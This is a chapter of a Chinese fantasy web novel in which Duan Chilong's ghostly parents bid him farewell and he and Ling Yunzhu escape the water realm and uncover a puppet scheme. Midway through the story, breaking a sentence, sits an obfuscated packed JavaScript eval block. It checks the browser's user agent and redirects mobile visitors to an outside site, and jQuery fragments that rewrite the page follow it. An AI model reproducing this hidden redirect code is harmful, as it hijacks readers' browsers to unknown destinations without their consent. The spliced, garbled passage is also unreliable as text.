默认冷灰
24号文字
方正启体

125. 亲缘

作者:翻糖小姐本书字数:K更新时间:
    阴雨晦暗,雪遥怀中的球却冒着剧烈白光,像太阳。段驰龙浑身轻飘飘的,不受使唤,几乎要飞起来了,视线被煌煌亮色所占据。


    “快来,小驰龙。”雪遥准确无误地找到他的位置,招招手,与此同时,段沉缘也总算转过身。


    那是一张和段驰龙有七分相像的脸,深邃五官,赤色血瞳,如雪白肤。两人目光相触,都怔住了。


    大雨倾盆,衣衫被淋得透湿,段驰龙皮肤很凉,身体却是烫的,浑身血液沸腾,像一壶霜天里的烈酒。天地是茫茫的,他的意识也像落在了虚空里,一会儿觉得自己是从母体剖出的肉球,一会儿觉得自己身处断骨崖,游荡着,迷茫着,怔忪着……


    脊骨开始泛疼,蛊虫般啃食他的筋肉,密密麻麻,却足以让山岳轰然倒塌。极烈之火又冒出头,从心脏滚出来,顺着四肢百骸流淌,将灵脉撑得鼓胀鼓胀。


    段驰龙尝到了口腔的血腥味,他面色恍惚地走了两步,跪在天地间,感觉有什么柔软的东西覆在头顶。


    真是屈指可数的体验。


    鬼城城主,一统魔域,何其风光,除却师尊谁敢这般胆大包天地碰他脑袋?


    别说做,光想想就足以让许多人吓得腿软。


    但这种感觉又和过往不一样,凌云渚于他是亲昵,是撒娇,总在抚摸过后顺带一个吻。眼下,却是纯粹的怜惜。


    有股暖流顺着脖颈灌入体内,温暖平淡,清泉般将灼热洗涤干净。圣骨上攀爬的蛊虫也像被溶解了似的,消散得无影无踪。


    段驰龙怔怔抬头,发觉雪遥正将那光球推入他后背,而覆在头顶上的,是段沉缘的手。


    游魂没有灵体,没有温度,也不能被人为触碰,大部分连记忆都没有。他们说不清自己从何而来,通向哪里,只是被原主遗留下的一抹残念,甚至连孤魂野鬼都不如。


    但是很奇怪,那些传说中碰不到的东西,段驰龙全部感受到了,以血肉为桥梁,相隔千年。


    宽大的手掌虚虚覆在头顶,曾将他高高举起,那时他的脚下踏着全世界,伸手便能触到天。不知是不是隔着雨帘的原因,段沉缘的眼睛雾蒙蒙的,他应当想说话,无奈受制于魂体,发不出声音。


    好在,段驰龙能读懂他的眼神,这就够了。


    体内的极烈之火抗议着,挣扎着,卷起燎原之势,赫赫炎炎,可又怎敌得过它的创造者?雪遥春风化雨,先镇压,再化解,于是炽火渐熄,永远压在背后的沉沉大山,崩塌瓦解。


    待到极烈之火彻底消散的刹那,流光散去,雪遥也变得与段沉缘一般透明了,唯有镯上的灵玉,熠熠辉辉。


    段驰龙用尽全力也发不出声音,将牙关咬得死紧。


    “嘘,小驰龙,听我们说就好。”雪遥握住他的手,“我们等你几千年了,就想着再见你一面。”


    段驰龙已经摸不到她了,不断去抓,终究徒劳一片,他不信邪,拼了命地挥动手臂,状若疯癫。可雪遥只是爱怜地看着他,像看着一个幼稚贪玩的孩童,同时把他们惦念了一路的灵玉塞过去。


    段驰龙顿住了,握也不是,松也不是。


    “来,拿着它,很快就会出水境,我们能在走之前见你一面,已经很满意了。”雪遥的身体淡得看不清,只能看清一双通红通红的眼睛,“我们小驰龙啊,才不是没有娘和爹的孩子。”


    段驰龙像被哽住喉咙,吞不下又吐不出。雨势依旧,不住落入他眼底,又顺着脸庞滑下,滚烫滚烫,他不敢眨眼,生怕面前的人消失不见,只能用力擦着脸上的水花。


    闪电霹得更亮了,恨不得撕裂苍穹,两个透明的游魂立在狂风中,仿佛下一刻就会被吹走。


    衣袂猎猎,雪遥挤出一个笑:“对了,那位凌公子,是你找的道侣吗?”


    段驰龙一愣,拼命点头。


    “那很好呀,他通文达理,长得也好看,娘亲很喜欢,至于你爹……”


    段沉缘松下眉眼,点点头,又在空中比划出一个手势。


    雪遥了然:“你爹说,他也很满意,不过……你不准欺负人家。”


    “小驰龙,小驰龙……”


    雪遥用最后的力气将灵玉推过去,让他握在手里,随后,两人的身躯从脚底化开,变成长久不息的风,化为淋漓磅礴的雨,坠为星星点点的光斑,逝去。


    段驰龙没有去抓,他知道抓不住,只是大脑晕厥,像踩在云里,竟没反应过来。恍惚中,感觉有个柔软又滚烫的东西烙在了额头。


    两个只在千年前听过的声音同时响起,一男一女,说着同样的祝语。


    他心心念念了半辈子的,他梦寐以求的,他所希冀的……


    “娘亲和爹爹很爱你,祝你们幸福。”


    话落,下了许久的雨便小了,他在原地站了一会儿,听到身后有人叫他。


    “段驰龙。”


    他下意识转身,见凌云渚立在那棵枯树下,隔着满地白骨与他对望。他浑身都湿透了,披着墨色外罩,嘴唇被冻得苍白,也不知什么时候来的,看到了多少,又一言不发地在那里等了多久。


    就在这时,有股力道轻轻推了他一把,是风。


    段驰龙像被从囚笼里解出来似的,撒腿跑过去,因为僵得太久,刚迈步时还绊了一下。他看到凌云渚抬起手,做出一个环抱的姿势,那双杏眼同样湿漉漉的,有些红肿。


    段驰龙扑了过去,拥人入怀的刹那,独属于灵玉的蓝光轰然炸开,甚至盖过了躲在云层后的金乌。


    至此,他前半生的遗憾,终得圆满。


    两人不约而同地闭眼,脚下一轻,整片土地转瞬瓦解。坍塌零落的世界中,能感知到的唯有彼此的心跳和呼吸。他们被裹在风里,倏而升至云端,掌心的灵玉越来越烫,一把将他们拽出水境。


    空茫中,凌云渚感觉有什么滚烫的东西滴到了脸上,而待他好不容易稳定下来,睁眼,段驰龙却没再哭了,只是眼眶仍有些红。


    凌云渚了解他的性子,并未戳破,只是轻轻晃了晃对方以作安慰,而后才打起精神观察周围环境。


    被灵玉冲击过后,洞穴已然坍塌,头顶的天空呈现蒙蒙灰蓝,光线虽照了进来,却很淡,积雪未消,放眼过去一片白。


    无相域的人早已没了踪迹,只剩角落深处的人影。昭寒下半身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261596|182057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被一块巨石压住,两眼凸起仰头看天,嘴巴长得很大,看口型是在尖叫。


    他是被活活痛死的,已经没气了。


    或者说,早在很久之前,就没气了。


    有脚步声停在他身后,段驰龙道:“现在,你应该知道了。”


    许久,凌云渚才挤出两个字。


    “傀儡。”


    一个曾对段驰龙怕到骨子里,会匍匐着献上太白玉的人,怎么敢公然和他叫板?


    一个曾经欺软怕硬、懦弱无能的人,怎么会突然工于心计,以雷霆手腕整顿无相域,连着三年坐稳头把交椅?


    一个好端端的正常人,怎么可能突然发疯,变成精神病?


    原来答案真的这么简单,只是他们不愿承认。


    真正的昭寒,早在暗中被人杀害,皮肉做成了外壳,以傀儡之身被操控着,不知多少年,和他的父亲云烬尘一样。


    可这种术法,主死傀死,没有意外,曾被他们视为劲敌的昭野已经死了,唯一能和无相域抗衡的混沌域在三年间又大不如前,域主赫冲被彻底架空,那么,昭寒背后的傀主是谁呢?


    还能有谁。


    昭野口中的“主上”,躲在背后策划一切的军师。


    借身份低调行事,以柔软和温顺作为保护色的菟丝花。


    在长风门中安插“钉子”,引得四大宗门起内讧,又坐山观虎斗的受益者。


    凌云渚头皮发麻,浑身僵硬。


    一切的一切,都是她设的局。以一己之力拉起无相域,将所有人耍得团团转,她只需要在幕后一推,自有替死鬼前来挡刀,还轻而易举到手两块太白玉。


    前世,他到死都没猜出对方身份。


    不……哪怕到了现在,哪怕时间颠倒,一切重置,长风门的内鬼依旧没暴露,哪怕昭寒阵亡,她仍能靠着最后的底牌,调虎离山,声东击西,利用灵玉将他们困在山洞里。


    完美预判了他们的行动轨迹。


    想在暗地里掌控全局,便推傀儡上位,想光明正大地游走在鬼城与无相域,便安一个仰慕城主的名头。


    这般心计,这般谋略……


    说句智多近妖也不为过。


    “我的确没料到,甚至没有察觉异常。”段驰龙沉声道,“是我失职,她能潜伏这么久不暴露,厉害。”


    凌云渚慢慢站起来,罕见地茫然无措,他不知想到了什么,面色苍白。段驰龙将人掰过来,神情同样难看。


    “怎么办?”凌云渚哑着嗓子,“怎么解释?”


    同一时刻,他们猜到了同一种可能。


    灵玉的位置是他们说出去的,信誓旦旦的保证也是他们下的,然而,给的地点是错误的。


    此举原本是为了证实长风门中有没有叛徒,可证实了,然后呢?


    倘若幕后之人故意不现身,倘若其余宗门已发现被戏耍,倘若隐在长风门中的内鬼,再胡乱搅个局。


    以剑照霜的性子,以往生乡的性子,会怎么做?会怎么对待与他们同行的长风门?


    两人对视,在彼此眼中看到了答案。


    鹬蚌相争,渔翁得利。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)